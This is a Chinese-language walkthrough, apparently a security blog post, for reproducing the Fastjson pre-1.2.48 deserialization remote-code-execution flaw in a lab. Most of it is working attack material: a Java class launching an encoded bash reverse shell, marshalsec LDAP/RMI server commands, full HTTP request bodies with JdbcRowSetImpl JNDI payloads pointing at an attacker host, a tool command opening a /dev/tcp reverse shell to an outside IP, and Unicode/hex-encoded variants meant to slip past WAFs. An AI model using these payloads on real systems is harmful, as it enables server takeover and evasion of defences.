介紹
Fastjson 是阿里巴巴公司開源的一款 json 解析器,其性能優越,被廣泛應用於各大廠商的 Java 項目中。fastjson 於1.2.24版本后增加了反序列化白名單,而在1.2.48以前的版本中,攻擊者可以利用特殊構造的 json 字符串繞過白名單檢測,成功執行任意命令。
注意
關於 jndi 注入的利用方式我在這里簡單提一下,因為 jndi 注入的利用受jdk版本影響較大,所以在利用的時候還是要多嘗試的。
- 基於 rmi 的利用方式
適用 jdk 版本:JDK 6u132, JDK 7u122, JDK 8u113之前。 - 基於 ldap 的利用方式
適用 jdk 版本:JDK 11.0.1、8u191、7u201、6u211之前。 - 基於 BeanFactory 的利用方式
適用 jdk 版本:JDK 11.0.1、8u191、7u201、6u211以后。
利用前提:因為這個利用方式需要借助服務器本地的類,而這個類在 tomcat 的 jar 包里面,一般情況下只能在 tomcat 上可以利用成功。
搭建漏洞環境
用 vulnhub 可以一鍵搭建漏洞環境
sudo docker-compose up -d
訪問 8090 端口看到以下畫面就是搭建成功
復現
一、 marshalsec-0.0.3-SNAPSHOT-all.jar + Exploit.java
- 配置RMi環境
- 需要借助marshalsec項目,啟動一個RMI服務器,監聽53端口,並加載遠程類(需要java 8環境)。
https://github.com/mbechler/marshalsec
安裝 maven
yum install -y maven
切換到 marshalsec 目錄下使用 maven 進行打包,
mvn clean package -DskipTests。
- 下載 EXP
https://github.com/CaijiOrz/fastjson-1.2.47-RCE
或者也可以選擇自己編寫
public class exec{
public static void main(String[] args) throws Exception {
Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvXLEE23UwLjY4Lzk5OTUgMD4mMQ==}|{base64,-d}|{bash,-i}").waitFor();
}
}
- 編寫exp.java
javac Exploit.java
生成 class 文件,在網上看說要最好 java 和服務器的版本要盡可能一樣,否則可能服務器會無法執行 exp
-
開啟 LDAP 和 WEB 服務
LDAP:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://IP/#Exploit 9987
python web:
python3 -m http.server 8000
或者python -m SimpleHTTPServer 8000
-
監聽流量
nc -lvnp 8888
-
抓包重放
如果沒有問題,ldap 會轉發到 web 服務器,也會彈個 nc 回來
POST / HTTP/1.1
Host: 192.168.33.134:8090
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Length: 189
{"a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://192.168.33.134:9988/Exploit","autoCommit":true}}
二、fastjson_rce_tool
這個就簡單很多了,直接用 LDAP 轉發,或者用 RMI 都可以。
- 執行命令
java -cp fastjson_tool.jar fastjson.HLDAPServer VPS地址 8888 "bash=/bin/bash -i >& /dev/tcp/118.193.33.101/4445 0>&1"
;如果要反彈shell,同時 nc 監聽端口 4445。他會給兩個payload
- 同方法一一樣,重發 payload 包
{"e":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"f":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://192.168.33.134:8888/Object","autoCommit":true}}
- 與此同時,VPS 就會彈一個 shell 回來
三、WAF 初繞過
- JSONLexerBase.scanSymbol
這個函數是 fastjson 用來處理 json 字符串的函數,在 fastjson 在進行 json 字符的處理時,如果掃描到 '/' (代碼里是//是因為 java 自身的特殊字符編碼),fastjson 會認為字符經過了編碼,所以會進行解碼操作。
也就是說當輸入的字符是形如 \u 或者 \x 的情況下 fastjson 是會對其進行解碼操作的(即 fastjson 支持字符串的Unicode
編碼和十六進制
編碼)
這里用最初的POC,肯定是成功的,
{"f":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://192.168.33.134:8888/Object","autoCommit":true}}
- 編碼
我們現在編碼一下,是可以成功執行的,但是這里只能繞過簡單的 WAF 和 WEB 黑名單
{"f":{"\u0040\u0074\u0079\u0070\u0065":"\x63\x6f\x6d\x2e\x73\x75\x6e\x2e\x72\x6f\x77\x73\x65\x74\x2e\x4a\x64\x62\x63\x52\x6f\x77\x53\x65\x74\x49\x6d\x70\x6c","\u0064\u0061\u0074\u0061\u0053\u006f\u0075\u0072\u0063\u0065\u004e\u0061\u006d\u0065":"ldap://192.168.33.134:8888/Object","\x61\x75\x74\x6f\x43\x6f\x6d\x6d\x69\x74":true}}
四、利用技巧
- 結合 burp 被動掃描
這里我直接貼 github 地址好了,大佬們比我強